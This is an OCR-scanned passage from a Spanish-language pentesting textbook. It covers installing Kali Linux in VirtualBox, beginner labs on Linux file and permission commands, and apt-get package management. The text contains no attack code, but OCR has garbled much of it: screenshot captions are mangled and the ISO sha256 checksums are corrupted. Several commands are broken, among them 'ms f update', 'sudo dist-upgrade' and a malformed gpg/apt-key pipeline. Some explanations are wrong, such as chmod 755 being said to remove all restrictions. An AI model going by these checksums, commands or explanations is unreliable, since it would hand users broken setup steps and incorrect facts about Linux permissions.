Download Kali Linux Images 


Download 


Image Name Size Versio sha256sum 


Kali 64 bit 


ISO | Torrent 9b1C57690909220060(C4c0c11a0e0909722701800259e057731010f62e11e9d 


Kali 32 bit ISO | Torrent 2.76 2017.1 50103747051c7c698217392f049ec21dace0277404500fc49d4200c82625a1be 
Kali 64 bit Light 150 | Torrent 0.86 2017.1 ScOF6I00DFIB4207240f92cb2004637F4561FFC03029cdct212f3902442309b0 
Figura 5.4 Imágenes de Kali Linux VirtualBox 
Selecciona la versión correcta de Kali para descargar. Elige entre Kali 64 bits o 


Kali 32 bits, dependiendo de tu sistema operativo. Haz clic en ISO para descargar 
este archivo, el cual se ve así: 


Mm 99 = [a E W Downloads 


o 
G 
O 


Q 


Name A Dato Modified 
(+) Downloads B kali-linux-2017 1.amd64 iso 


Devices 


(3) Remote Disc 


Shnarea 


New Folder Cancel Open 


Figura 5.5 ISO Kali Linux descargado 
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Inicia VirtualBox y haz clic en New (Nuevo) para crear una nueva máquina virtual: 


8 Orace VM VirtualBox Manager 
brad Eiri 
Nev siting [ taty 
Name and operating system 
empty now 
Please choose a descriptive name for the new virtual machine e” < 
and select the type of operating system you intend to install on A 


it. The name you choose will be used throughout VirtualBox to 
identify this machine. 


Name: kali-linux 


vay 


Type: Linux B E Ài 
Version: Linux 2.6 / 3.x / 4.x (64-bit) B 
Expert Mode Go Back Continue Cancel 


Figura 5.6 Creación de máquina virtual Kali Linux 


Selecciona un nombre descriptivo para la nueva máquina virtual, así como el 
tipo de sistema operativo que deseas instalar en ella. El nombre seleccionado se 
usará en VirtualBox para identificar a la máquina. 


Nombre: kali-linux 
Tipo: Linux 
Versión: Linux 2.6/3.x/4.x(64-bit) 


Ahora instalaremos el nuevo ISO Kali Linux. Teclea el nombre kali-linux y haz clic 
en Continuar. Aparece la siguiente pantalla: 


Memory size 


Select the amount of memory (RAM) in megabytes to be 
allocated to the virtual machine. 


The recommended memory size is 1024 MB. 


— 2040 3 MB 


LA 


4 MB 8192 MB 


Go Back Continue | Cancel 


Figura 5.7 Tamaño de la memoria 
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Tamaño de memoria 


Selecciona la cantidad de memoria (RAM) en megabytes que deberá asignarse a 
la máquina virtual, el recomendado es 1024 MB. 


La RAM mínima recomendada para la máquina virtual es de 1 GB; si es posible, 
suministra 2040 MB o, aún mejor, 4096 MB. 


Q ATENCIÓN 


Asegúrate de que haya suficiente memoria para el sistema operativo de tu 
computadora física. 


Haz clic en Continuar. Aparece la siguiente pantalla: 


Hard disk 


If you wish you can add a virtual hard disk to the new machine. 
You can either create a new hard disk file or select one from the 
list or from another location using the folder icon. 


If you need a more complex storage set-up you can skip this 
step and make the changes to the machine settings once the 
machine is created. 


The recommended size of the hard disk is 8,00 GB. 


Do not add a virtual hard disk 
Ø Create a virtual hard disk now 
Use an existing virtual hard disk file 


Empty 


Go Back Cancel 


Figura 5.8 Disco duro 
Disco duro 
Si lo deseas puedes añadir un disco duro virtual a la nueva máquina, ya sea con 
la creación de un nuevo archivo de disco o con la selección de uno de la lista o 
de otra ubicación mediante el icono de la carpeta. 
Si necesitas un esquema de almacenamiento más complejo puedes saltarte 


este paso y hacer los cambios a los dispositivos de la máquina una vez que ésta 
haya sido creada. 
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El tamaño recomendado del disco duro es de 8.00 GB. 


Selecciona Create a virtual hard disk now (Crear un disco duro virtual ahora) y 
haz clic en Create (Crear). Aparece la siguiente pantalla: 


Hard disk file type 


Please choose the type of file that you would like to use for the new virtual 
hard disk. If you do not need to use it with other virtualization software you 
can leave this setting unchanged. 


(9 VDI (VirtualBox Disk Image) 
VHD (Virtual Hard Disk) 
VMDK (Virtual Machine Disk) 


Expert Mode GoBack ØO Cancel 


Figura 5.9 Tipo de disco duro 
Tipo de archivo de disco duro 


Selecciona el tipo de archivo que te gustaría usar para el nuevo disco duro virtual. 
Si no necesitas emplearlo con otro software de virtualización puedes dejar este 
esquema sin cambios. 


Elige VDI (VirtualBox Disk Image o Imagen de Disco de VirtualBox) y haz clic en 
Continuar. Aparece la siguiente pantalla: 


Storage on physical hard disk 


Please choose whether the new virtual hard disk file should grow as it is 
used (dynamically allocated) or if it should be created at its maximum size 
(fixed size). 


A dynamically allocated hard disk file will only use space on your physical 
hard disk as it fills up (up to a maximum fixed size), although it will not 
shrink again automatically when space on it is freed. 


A fixed size hard disk file may take longer to create on some systems but is 
often faster to use. 


© Dynamically allocated 
Fixed size 


GoBack EO Cancel 


Figura 5.10 Disco duro dinámico 
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Almacenaje en el disco duro físico 


Selecciona si el nuevo archivo de disco duro virtual debe crecer tal como se usa 
(asignado dinámicamente) o si debe crearse con su tamaño máximo (tamaño fijo). 


Un archivo de disco duro dinámicamente asignado solamente usará espacio 
en el disco duro físico a medida que se llene (hasta un tamaño fijo máximo), 


aunque no se contraerá automáticamente cuando se libere espacio en él. 


En algunos sistemas puede tomar más tiempo crear un archivo de disco duro 
de tamaño fijo, pero a menudo su uso es más rápido. 


Selecciona Dynamically allocated (Asignado dinámicamente). Haz clic en 


Continue (Continuar). Aparece la siguiente pantalla: 


File location and size 


Please type the name of the new virtual hard disk file into the box below or 
click on the folder icon to select a different folder to create the file in. 


kali-linux a 


Select the size of the virtual hard disk in megabytes. This size is the limit on 
the amount of file data that a virtual machine will be able to store on the 
hard disk. 


25,00 GB 


4,00 MB 2,00 TB 


Go Back Cancel 


Figura 5.11 Tamaño y ubicación del disco duro virtual 


Ubicación y tamaño del archivo 

Teclea el nombre del nuevo archivo de disco duro virtual en la siguiente ventana 
o haz clic en el icono de la carpeta para seleccionar una diferente en la cual crear 
el archivo. 


Teclea el nombre del disco duro virtual: 


kali-linux 
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Selecciona el tamaño del disco duro virtual en megabytes. Este tamaño es 
el límite de la cantidad de datos de archivo que una máquina virtual puede 
almacenar en el disco duro. 


El tamaño de disco mínimo recomendado es de 8 GB. Si es posible, suministra 
un tamaño de disco de 25 GB. Haz clic en Create (Crear). 


Hasta ahora hemos creado lo siguiente: 
Un VirtualBox para máquinas virtuales 
La carpeta kali-linux con: 

- La máquina virtual kali-linux 


- El disco duro virtual kali-linux 


Observa la siguiente figura: 


Aj v EA VirtualBox VMs 
a v kali-linux 
& Macintosh HD Y kali-linux.vbox 
O Downloads kali-linux.vbox-prev 
© kali-linux.vdi 
Devices 
(3) Remote Disc 


Figura 5.12 Estructura de carpetas Kali Linux 


Puedes ver el resultado de la instalación en la siguiente pantalla: 


Alfaomega 


2) ® Oracle VM VirtualBox Manager 

3 z C ois ld { 
M 2 Po, dd 
New Settings Start Machine Tools Global Tools 
> kali-limux = General = Preview 


26) Q 
Y Powered Off Name: kali-linux 


Operating System: Linux 2.6 / 3.x / 4.x (64- 
bit) 


4. System 

Base Memory: 2040 MB 

Boot Order: Floppy, Optical, Hard Disk 

Acceleration: VT-x/AMD-V, Nested Paging, 
KVM Paravirtualization 


«2 Display 

Video Memory: 16 MB 
Remote Desktop Server: Disabled 
Video Capture: Disabled 
ud Storage 


Controller: ¡DE 


Figura 5.13 Kali Linux instalado 
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El nombre de la máquina virtual es kali-linux, la memoria base es de 2 GB y el 
almacenamiento es de 25 GB. 


En el siguiente paso, seleccionamos el disco óptico virtual para terminar 
la instalación de kali-linux. Haz clic en el botón verde Start (Inicio) en la parte 
superior. Obtendrás la siguiente pantalla: 


Please select a virtual optical disk file or a physical 
optical drive containing a disk to start your new 
virtual machine from. 


The disk should be suitable for starting a computer 
from and should contain the operating system you 
wish to install on the virtual machine ¡f you want to do 
that now. The disk will be ejected from the virtual 
drive automatically next time you switch the virtual 
machine off, but you can also do this yourself if 
needed using the Devices menu. 


kali-linux-2017.1-amd64.iso (2,60 GB) i A 


Go Back Start | Cancel 


Figura 5.14 Selecciona el disco ISO de arranque 


Elige un archivo de disco óptico virtual o un drive óptico físico que contenga un 
disco desde el cual arrancar la nueva máquina virtual. 


Selecciona el archivo ISO kali-linux descargado para iniciar tu máquina. Haz 
clic en Start (Iniciar). Aparece la siguiente pantalla: 


KALI 


“the quieter you become. tremore you ara able to near” 
Boot monu 


(armdb4 


lamdb1 fi 


I 
Graphical install 

with speech syr 
ÄAdvoined upt iun 


Figura 5.15 Instalación gráfica 
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Selecciona Graphical install (Instalación gráfica), haz la selección con la flecha 
hacia abajo en tu tablero y presiona Enter. 


Elige el idioma que deseas para kali-linux: 


kali-linixx [Running] 


Seleccione un idioma 


Choose the language to be used for the installation process. The selected language will also be the 
default language for the installed system. 


Language: 

Sinhala - Be fa] 
Slovak - Slovenčina 

Slovenian - Slovenščina 

Swedish - Svenska 


Ed y se OO cd de O S (8) Left 2 
Figura 5.16 Selección del idioma 


Elige los siguientes atributos: 


Ubicación 

Teclado 

Nombre de la computadora [kali] 
Nombre del dominio [dominio.com] 


Contraseña del superusuario [recuerda esta contraseña para iniciar tu sesión en 
Kali más tarde] 


+ è% è 0. + 


5.4.1 Configuración del disco duro 


En los próximos pasos configuraremos el disco duro. 
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Particionado de discos 


Este instalador puede quiarle en el particionado del disco (utilizando distintos esquemas estándan) o, si 
lo desea, puede hacerlo de forma manual. Si escoge el sistema de particionado guiado tendrá la 
oportunidad más adelante de revisar y adaptar los resultados. 


Se le preguntará qué disco a utilizar si elige particionado guiado para un disco completo. 
Método de particionado: 


Guiado -utilizar todo el disco 


Guiado -utilizar el disco completo y configurar LVM 


Guiado -utilizar todo el disco y configurar LVM cifrado 
Manual 


Capturar la pantalla | Retroceder i Continuar 


Figura 5.17 Organizar el disco duro 


Partición de discos 
Elige Guiado: utilizar todo el disco. Haz clic en Continuar. 


Entonces selecciona: 


scsI1(0,0,0) (sda) -26.8 GB ATA VBOX HARDDISK 


Haz clic en Continuar. Aparecerá la siguiente pantalla: 


Particionado de discos 


Seleccionado para particionar: 
SCSI (0,0,0) (sda) - ATA VBOX HARDDISK: 26.8 GB 


Este disco puede particionarse siguiendo uno o varios de los diferentes esquemas disponibles. Si no 
está seguro, escoja el primero de ellos. 


Esquema de particionado: 


Todos los ficheros en una partición (recomendado para novatos) 
Separar la partición (home 


Separar particiones home, ¡var y /tmp 


| Capturar la pantalla Retroceder Continuar | 


Figura 5.18 Organizar el disco duro 
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Selecciona Todos los ficheros en en una partición. 


Aparecerá la siguiente pantalla con un resumen de selecciones: 


Particionado de discos 


Este es un resumen de las particiones y puntos de montaje que tiene configurados actualmente. Seleccione una 
partición para modificar sus valores (sistema de ficheros. puntos de montaje, etc.), el espacio libre para añadir una 
partición nueva o un dispositivo para inicializar la tabla de particiones. 


Y SCSI (0,0,0) (sda) - 26.8 GB ATA VBOX HARDDISK 
> $1 primaria 24.7 GB f ex4 1 
> #5 lógica 2.1 GB f intercambio intercambio 


Deshacer los cambios realizados a las particiones 


Finalizar el particionado y escribir los cambios en el disco 


Capturar la pantalla Ayuda Retroceder [ Continuar | 


Figura 5.19 Partición de discos 


Selecciona Finalizar la partición y haz clic en Continuar. Verás la siguiente pantalla: 


KALI 


BY OFFENSIVE SECURITY 


Particionado de discos 


Se escribirán en los discos todos los cambios indicados a continuación si continúa. Si no lo hace podrá 
hacer cambios manualmente. 


Se han modificado las tablas de particiones de los siguientes dispositivos: 
SCSI1 (0, 0,0) (sda) 


Se formatearán las siguientes particiones: 


partición #1 de SCSI1 (0,0,0) (sda) como ext4 
partición #5 de SCSI (0,0,0) (sda) como intercambio 


¿Desea escribir los cambios en los discos? 
No 
» Si 


Figura 5.20 Formateo de disco 
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Ala pregunta: 


¿Deseas escribir los cambios en los discos? 


Selecciona Sí para guardar la configuración del disco duro. Haz clic en Continuar. 
La instalación continúa. Después de diez o quince minutos, se obtiene la siguiente pantalla: 


Configurar el gestor de paquetes 


Puede utilizar una réplica en red para complementar los programas incluidos en el CD-ROM. Esto también 
puede hacer que tenga a su disposición nuevas versiones de los programas. 


¿Desea utilizar una réplica en red? 
J No 
» Si 


f Capturar la pantalla Retroceder | Continuar 


Figura 5.21 Gestión de paquetes 


Configuración del gestor de paquetes 
Ala pregunta: 


¿Deseas utilizar una réplica en red? 
Selecciona Sí y haz clic en Continuar. Aparece la siguiente pantalla: 


| KALI | 


DY OFFENSIVE SECURITY 


Configurar el gestor de paquetes 


Si tiene que usar un proxy HTTP para acceder a la red, introduzca a continuación la información sobre el 
proxy. En caso contrario, déjelo en blanco. 


La información del proxy debe estar en el formato «http: //[lusuarioJl:contraseñalG]servidor[:puerto]/» 
Información de proxy HTTP (en blanco si no desea usar ninguno): 


AAA A A 


| Capturar la pantalla Retroceder | Continuar | 


Figura 5.22 Configuración de gestor de paquetes 
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Configuración del gestor de paquetes 


Aquí no tienes que teclear nada. Haz clic en Continuar. Aparece la siguiente pantalla: 


Instalar el cargador de arranque GRUB en un disco duro 


Parece que esta instalación es el único sistema operativo en el ordenador. Si esto es asi, puede instalar 
sin riesgos el cargador de arranque GRUB en el registro principal de arranque del primer disco duro. 


Aviso: Si el instalador no pudo detectar otro sistema operativo instalado en el sistema, la modificación 


del registro principal de arranque hará que ese sistema operativo no puede arrancarse. Sin embargo, 
podrá configurar GRUB manualmente más adelante para arrancarlo. 


¿Desea instalar el cargador de arranque GRUB en el registro principal de arranque? 
No 


e Si 


Capturar la pantalla 


Retroceder | Continuar 


Figura 5.23 Cargador de arranque, pantalla de inicio 


A la siguiente pregunta: 


¿Desea instalar el cargador de arranque GRUB en el registro principal de arranque? 
Selecciona Sí y haz clic en Continuar. Aparece la siguiente pantalla: 


Instalar el cargador de arranque GRUB en un disco duro 


Ahora debe configurar el sistema recién instalado para que sea arrancable, instalando para ello el 
cargador GRUB en un dispositivo del que se pueda arrancar. La forma habitual de hacerlo es instalar 
GRUB en el registro principal de arranque («master boot record») del primer disco duro. Si lo prefiere, 
puede instalar GRUB en cualquier otro punto del disco duro, en otro disco duro, o incluso en un disquete, 
Dispositivo donde instalar el cargador de arranque: 


Introducir el dispositivo manualmente 


Idevisda (ata VBOX_ HARDDISK VB55ea7b26-190258c 8) 


Capturar la pantalla Retroceder | Continuar 


Figura 5.24 Pantalla de seguimiento 
A la siguiente pregunta: 


¿En qué dispositivo desea instalar el cargador de arranque? 


Selecciona en /dev/sda el disco duro y haz clic en Continuar. Si todo está correcto, verás 
la siguiente pantalla: 
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| KALI | 


DY OFFENSIVE SECURITY 


Terminar la instalación 


Instalación completada 
La instalación se ha completado. Ahora podrá arrancar el nuevo sistema. Asegúrese de extraer el 


medio de instalación para que el sistema arranque del disco en lugar de reiniciar la instalación. 


Capturar la pantalla Retroceder Continuar 


Figura 5.25 Pantalla de seguimiento 


Término de la instalación 


La instalación está completa 


Dentro de Terminar la instalación, haz clic en Continuar para terminar la instalación. Lue- 
go se eliminan los paquetes en vivo. Cuando Kali Linux ya esté instalado, verás la siguien- 
te pantalla: 


vie 11:09 


mbre de 


root | 


Siguiente 


Ps ID LD E) Left 


Figura 5.26 Inicio de sesión 


Para iniciar la sesión, teclea root como nombre de usuario y la contraseña que deberás 
recordar de los pasos anteriores. 


La interfaz de escritorio de Kali Linux aparece como sigue: 
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| $ i -ai 


Figura 5.27 Escritorio Kali Linux 


La versión Kali-Linux está diseñada específicamente para las pruebas Pentest. Prestemos 
atención a las herramientas en Aplicaciones para estas pruebas. En el siguiente capítulo 
estudiaremos algunas de estas herramientas. 


5.5 + Sistema de archivos Linux 


En el mundo de Linux todo es considerado un archivo: impresoras, teclados, dispositivos 
de red. Todos los archivos se pueden ver, editar, borrar, crear y mover. El sistema de archi- 
vos se compone de una serie de carpetas bajo la principal llamada root (/). 


En la carpeta /root se encuentran las carpetas y archivos del usuario root con derechos 


de superusuario (sudo). La carpeta /var es para aplicaciones web, y /home es para agre- 
gar usuarios, por ejemplo, el Usuario 1 con sus carpetas personales. 
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to 


Figura 5.28 Sistema de archivos de Linux 


LABORATORIO 5.2 Comandos de Linux 2 


Arriba a la izquierda o en el menú Aplicaciones de kali-linux se encuentra la 
ventana terminal: 


> 


Figura 5.29 Ventana terminal 


En este ejercicio de laboratorio estudiamos algunos comandos básicos de Linux. 
La jerarquía de archivos comienza con la carpeta root (raíz). 


Abre la ventana terminal. Aparece el siguiente indicador: 
rootOkali: ~ # 


El signo ” indica el directorio root, el símbolo # significa usuario sudo. 
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Lista de carpetas (directorios) y archivos 


Paso 1: Con Is vemos una lista de directorios y archivos da una relación en el 
directorio actual. Por ejemplo: 


rootékali:-4* ls 

Descargas Escritorio Música Público 'VirtualBox VMs' 
Documentos Imágenes Plantillas Videos 

rootakali:-4 B 


Cambio de directorio 


Paso 2: Con cd (change directory) te diriges a un directorio diferente, en este 
caso a Documentos con D mayúscula, verás en el indicador que éste es el actual. 


root@kali: ~ /Documentos 


Por ejemplo: 


root@kali:~# cd Documentos 
root@kali:~/Documentos# J 


Creación de directorio 


Paso 3: Con mkdir (make directory) puedes crear un directorio nuevo. 


root@kali:~/Documentos# mkdir Prueba; ls 
Prueba 
root@kali:~/Documentos# 1 


En el previo ejemplo aplicamos dos comandos separados con (;) para crear el 
directorio Prueba y para ver el contenido del directorio Documentos. 


Remover directorio 
Paso 4: rm -r (remove directory) elimina un directorio. 


rootéGkali:-/Documentosg* rm -r Prueba; ls 
root6kali:-/Documentos4 J 


Aquí vemos que el directorio Documentos está vacío. 
Crear archivo con cat 
Paso 5: Con cat creamos primero un archivo de texto, después del signo > 


especificamos el nombre del archivo simple.txt. 
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rootGkali:-/Documentosé cat > simple.txt 
Este es un texto simple 
root@kali:~/Documentos# J 

Para cerrar cat teclea Ctrl + d. 


Mostrar contenido de archivo con cat 


Paso 6: Con cat simple txt se muestra que el contenido de este archivo en la 
carpeta Documentos es un texto simple: 


root@kali:~/Documentos# cat simple.txt 
Este es un texto simple 
root@kali:~/Documentos# |] 


El comando echo 
Paso 7: El comando echo reproduce lo que escribimos. Por ejemplo: 
root@kali:~/Documentos# echo texto sencillo 


texto sencillo ; 
root@kali:~/Documentos# J 


Crear archivo con echo > 
Paso 8: También con echo podemos crear un archivo. 
root@kali:~/Documentos# echo este es mi texto > mi.txt; ls 


mi.txt simple.txt  . 
rootakali:-/Documentosk I 


Anexar un texto con echo >> 


Paso 9: Con echo podemos anexar un texto a un archivo. 


root@kali:~/Documentos# echo punto y aparte >> mi.txt; cat mi.txt 
este es mi texto 

punto y aparte 

root@kali:~/Documentos# J 


El editor nano 
Paso 10: Con el editor nano podemos editar archivos. 


rootêkali:~/Documentos# nano mi.txt 
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root@kali: -/Documentos © © o 
Archivo Editar Ver Buscar Terminal Ayuda 


este es mi texto 


editadol 
Ver ayuda Guardar Buscar Cortar txt Justificar 
Salir Leer fich. Reemplazar Pegar txt Ortografía 


Figura 5.30 Editor nano 
Edita mi.txt con nano, como se ve en esta figura. 
Ctrl+O para guardar 
Ctrl+X para salir de nano 
El editor vi 
Paso 11: Con el editor vi también podemos editar archivos. 


rootéGkali:-/Documentosé*é vi mi.txt 


mi.txt (-/Documentos) - VIM o © Q 


Archivo Editar Ver Buscar Terminal Ayuda 


este es mi texto 
1 editado 
2 re editado 


wall 


Figura 5.31 El editor Vi 
Para editar un archivo con vi hay que teclear | para insertar. 


Edita el archivo mi.txt con el editor vi, como se muestra. 
Para guardar y cerrar vi se teclea :wq (write and quit). 


Búsqueda de textos con grep 


Paso 12: Con grep podemos buscar instancias de un texto en un archivo. 
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rootfBkali:-/Documentos* grep editado mi.txt 
1 editado 

2 re editado 

root@kali:~/Documentos# i 


La palabra editado se encontró dos veces. 
Copiar archivo 


Paso 13: Con cp (copy) se hace una copia de un archivo o una carpeta. 
rootGkali:-/Documentos* cp mi.txt copia.txt; ls 


copia.txt mi.txt simple.txt 
rootGkali:-/Documentosit | 


Eliminar archivo 


Paso 14: Con rm (remove) se elimina un archivo. 
rootGkali:-/Documentosé rm copia.txt; ls 


mi.txt simple.txt 
rootGkali:-/Documentos* 


Se elimina el archivo copia.txt. 
Renombrar archivo 


Paso 15: Con mv (move/rename o mover/renombrar) se puede mover un archivo 
o cambiarle el nombre. Cambia de simple.txt a sencillo.txt. 


rootGkali:-/Documentosfé mv simple.txt sencillo.txt; ls 
mi.txt sencillo.txt 
rootGkali:-/Documentosk 


Mover archivo 


Paso 16: A continuación moverás el archivo sencillo.txt de la carpeta 
Documentos al directorio root (~). 


rootGkali:-/Documentos*é mv sencillo.txt /root; ls /root 

Descargas Escritorio Música Público Vídeos 
Documentos Imágenes Plantillas  sencillo.txt 'VirtualBox VMs 
rootGkali:-/Documentos4 $ 
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Cambiar de directorio 


Paso 17: Con cd .. (cambia al directorio anterior) irás a una carpeta arriba de la 
actual. En este caso, cambiamos del directorio Documentos a root. 


rootekali:-/Documentos* cd .. 
rootGkali:-4 ñ 


La carpeta root es la actual. 
Cambio al inicio del árbol de directorios 


Paso 13: Con cd / (cambio al inicio del árbol de directorios) haces el cambio de la 
carpeta actual al inicio del árbol de directorios. 


rootGkali:-4 cd /; ls 


0 etc lib mnt run MB vmlinuz.old 
bin home lib64 opt sbin usr 

boot initrd.img lost+found proc srv var 

dev initrd.img.old media root sys vmlinuz 

root@kali:/# j 


Propietario de archivo 


Paso 19: Is -I (mostrar la propiedad) muestra quién es el dueño de la carpeta o el 
archivo y cuáles son sus permisos. 


root@kali:/# cd root 
root@kali:-# ls 
Descargas Escritorio Música Público Vídeos 
Documentos Imágenes Plantillas sencillo.txt ‘VirtualBox VMs 
root@kali:~# ls -l sencillo.txt 
-rw-r--r-- 1 root root 24 feb 13 10:07 sencillo.txt 
root@kali:~# |] 


El propietario de sencillo.txt es el usuario root y tiene permisos para leer y escribir (rw). 
Copiar en esta carpeta un archivo de otro directorio. 


Paso 20: Primero, nos cambiamos al directorio Documentos y copiamos el 
archivo /root/sencillo.txt hacia el directorio actual. El último punto significa “aquí”. 


root@kali:~# cd Documentos 
root@kali:~/Documentos# Ñ 
rootfBkali:-/Documentos* cp /root/sencillo.txt . 
root@kali:~/Documentos# ls 

mi.txt sencillo.txt 

rootfEkali:-/Documentos+* 
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Agregar un usuario nuevo 


Paso 21: Con useradd (add user) se crea un nuevo usuario. 


rootGkali:-/Documentosé adduser juan 
Añadiendo el usuario 'juan' 
Añadiendo el nuevo grupo 'juan' (1001) 
Añadiendo el nuevo usuario `juan' (1001) con grupo 'juan' 
Creando el directorio personal '/home/juan' 
Copiando los ficheros desde '/etc/skel' 
Introduzca la nueva contraseña de UNIX: 
Vuelva a escribir la nueva contraseña de UNIX: 
passwd: contraseña actualizada correctamente 
Cambiando la información de usuario para juan 
Introduzca el nuevo valor, o pulse INTRO para usar el valor predetermina 
Nombre completo []: 
Número de habitación [|]: 
Teléfono del trabajo []: 
Teléfono de casa []: 
Otro []: 
¿Es correcta la información? [S/n] s 
rootGkali:-/Documentost J 


En el quinto renglón vemos que se ha agregado el usuario juan bajo el 
directorio home. 
Cambiar usuario 


Paso 22: Para cambiar de usuario se utiliza su. 


root@kali:~# su juan 
juan@kali:/root$ J 


Vemos que el indicador muestra juan@kali:/root$. El símbolo $ significa que el 
usuario juan no es superusuario (sudo). 


Cambiar autorizaciones 


Paso 23: Con chown (change file ownership) puedes cambiar o agregar 
autorizaciones a un archivo o carpeta. 


root@kali:~/Documentos# chown juan sencillo.txt 
root@kali:~/Documentos# ls -l sencillo.txt 


-rw-r--r-- 1 juan root 24 feb 13 12:44 sencillo.txt 
rootGkali:-/Documentos* 
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Aquí hemos autorizado al usuario juan para leer el archivo sencillo.txt. En el tercer 
renglón vemos: 


-rw- rr 

El primer permiso -rw (read/write) autoriza al usuario root para leer y escribir. 
El segundo permiso —r (read) autoriza al usuario juan solamente a leer. 
Modificar autorizaciones 


Paso 24: Con chmod (modify file ownership) puedes modificar la autorización a 
un archivo o carpeta. 


chmod go 
Esta modificación afecta a grupo (g) y otros (o). 


rootGkali:-4* chmod go-rw sencillo.txt 

rootkali:-4 ls -l sencillo.txt 

-FW------- 1 root root 24 feb 13 10:07 sencillo.txt 
rootGkali :-4 


Se ha eliminado la autorización del usuario juan. 
Eliminar restricciones con chmod 755 


Paso 25: Con chmod 755 eliminamos todas las restricciones de un archivo. 


rootGkali:-%* chmod 755 sencillo.txt 
root@kali:~# 

root@kali:~# ls -l sencillo.txt 
-rwxr-xr-x 1 root root 24 feb 13 10:07 
root@kali:-# |] 


LABORATORIO 5.3 Ejercicios con el sistema de archivos 2 
Paso 1: Crea una carpeta nueva con tu nombre. 
Paso 2: Elimina la carpeta con tu nombre. 


Paso 3: Crea la carpeta nueva Play en la carpeta Música. 
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Paso 4: Crea el archivo nuevo play.list con los títulos de tres de tus canciones 
favoritas en la carpeta Play. 


Paso 5: Muestra el contenido del archivo play.list. 

Paso 6: Haz una copia de play.list en la carpeta Videos. 
Paso 7: Elimina la copia de play.list en la carpeta Videos. 
Paso 8: Da a play.list el nuevo nombre play.txt. 

Paso 9: Mueve play.txt a la carpeta root. 


Paso 10: Muestra al propietario de play.txt. 


Interfaz gráfica de gestión de directorios Linux 


Linux también tiene su propia interfaz de gestión de archivos. En la siguiente figura ve- 
mos el icono izquierdo y la interfaz: 
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O Recientes no PN “e T ce 


Q Carpeta personal Descargas Documento Escritorio Imágenes Música Plantillas 


s 
& Escritono 


— P P 
O Descargas idia wm Ml 


Público sencillo.xt VirtualBox 
VMs 


M Documentos 


'Q Imágenes 
J Música 
H Videos 


ñ Papelera 


+ Otras ubicaciones 


Figura 5.32 Interfaz de gestión de archivos 
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5.6 +» Advanced Packaging Tool 
(Herramienta de gestión de Paquetes, APT) 


APT es un programa de gestión de paquetes utilizado en las versiones de Linux. Una 
Packaging Tool (herramienta de paquetes) instala paquetes precompilados de software 
(los así llamados archivos.deb), y mantiene la información sobre las nuevas actualizacio- 
nes. El usuario no tendrá que buscar información acerca de las actualizaciones, pues la 
herramienta lo hace. Además, dicha herramienta tiene como función resolver las depen- 
dencias (dependencies) antes de instalar los programas que se necesitan para ejecutar 
el que está instalado. 


El comando sudo permite a los usuarios ejecutar programas con derechos especiales, 
tales como derechos de ‘root’. 


root@kali:~# sudo apt-get ... [comandos] 


Después de instalar Kali Linux vamos a descargar e instalar las últimas actualizaciones 
de paquetes. 


LABORATORIO 5.4 Comandos de sudo apt-get 2 


El objetivo de este ejercicio de laboratorio es crear una instalación de kali-linux 
actualizada. Paso 1: Introduce el siguiente comando: 


root@kali:~# sudo apt-get update 

Para entender el trasfondo de este comando, se necesita más información 
sobre Advanced Packaging Tool. Después de este laboratorio tendremos una 
respuesta, por ahora es suficiente ejecutar los comandos. 


Problemas con clave inválida 


Si durante la actualización de kali aparece el mensaje de claves inválidas sigue 
los pasos: 


A) Abre el archivo /etc/apt/resources.list de la siguiente manera: 
root@kali:~/# nano /etc/apt/source.list 


Asegúrate de que el contenido es como el de la figura. 
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root@kali: ~ 0o09 
Archivo Editar Ver Buscar Terminal Ayuda 


GNU nano 2.9.2 > apt/sources. list Modifi 


MO Ver ayuda MS Guardar Buscar Cortar txt Justificar Posición 
Ei Salir ME Leer fich. Reemplaza Pegar txt MJ Ortografía Ir a línea 


Figura 5.33 Fuentes de la distribución Kali-linux 


B) Genera tu clave de la siguiente manera: 

rootékali :~/# gpg --keyserver hkp: //keys .gnupg.net --recv-key 7D8DOBF6 
C) Controla la huella digital como sigue: 

rootekali:-/% gpg --fingerprint 7D8DOBF6 

El resultado debe ser como se muestra: 

pub  rsa4096 2012-03-05 [SC] [expires: 2021-02-03] 44C6 513A 
8E4F B3D3 0875 F758 ED44 4FFO 7D8D 0BF6 uid [ unknown] 
Kali Linux Repository <develGkali.org> sub  rsa4096 2012-03-05 [E] 
[expires: 2021-02-03] 

D) En este paso actualizamos kali con la clave generada: 


root@kali:~/# gpg -a --export 7/D8DOBF6 | apt-key add - apt update 


Paso 2: Después de descargar las últimas actualizaciones ejecuta el siguiente 
comando para optimizar la actualización: 


rootékali:-* sudo apt-get upgrade 


Teclea Sí para continuar. En algún momento durante la optimización será 
necesario utilizar las flechas del teclado para responder y poder continuar. 


Paso 3: Para optimizar la distribución del sistema Linux, ejecuta el siguiente 
comando: 


rootékali:-* sudo dist-upgrade 
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Paso 4: Algunos paquetes de herramientas necesitan actualizarse manualmente, 
tales como la herramienta Metasploit. 


root@kali:~# ms f update 


5.6.1 Más comandos APT 


A continuación se muestra una serie de comandos adicionales APT. 


Instalación de paquetes 


APT instala el paquete especificado con las dependencias necesarias. 


root@kali:~# sudo apt-get install [nombre del paquete] 


Eliminar un paquete (remove, eliminar) 


APT elimina los paquetes especificados, pero no las dependencias. 


rootékali:-* sudo apt-get remove [nombre del paquete] 


Eliminar dependencias (autoremove, autoeliminar) 


APT elimina todas las dependencias innecesarias. 


rootékali:-* sudo apt-get autoremove 


Eliminar los paquetes descargados (clean, limpiar) 


APT elimina todos los archivos (.«deb) de los paquetes ya instalados. 


rootékali:-* sudo apt-get clean 


Eliminar (purge) los paquetes y los archivos de configuración 


Con purge podemos eliminar los paquetes y los archivos de configuración. 


rootékali:-* sudo apt-get purge [nombre del paquete] 


Base de datos con nombres de paquetes a actualizar 


Se actualiza la base de datos con paquetes que están disponibles para la instalación. 


rootékali:-* sudo apt-get update 
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APT hace una consulta en /etc/apt/sources.list y en la base de datos de paquetes de las 
instalaciones y actualizaciones disponibles. 


Optimizar todos los paquetes (upgrade, optimizar) 


Se optimizan todos los paquetes con las actualizaciones disponibles (después de 
usar update). 


rootékali:-* sudo apt-get upgrade 


Optimizar todas las actualizaciones de los paquetes Kali (dist-upgrade) 


Se optimizan todos los paquetes Kali con las actualizaciones disponibles (después 
de update). 


rootékali:-* sudo apt-get dist-upgrade 


Fijar dependencias rotas (-f install) 


Reparación de todas las dependencias faltantes. 


rootékali:-* sudo apt-get -f install 


5.6.2 Comandos apt-cache 


Los comandos apt-cache recuperan información acerca de los paquetes en el sistema. 


Buscar nombres de paquetes (search, búsqueda) 


Busca posibles nombres de paquetes de la siguiente manera: 
root@kali:~# sudo apt-cache search [nombredelpaquete] 


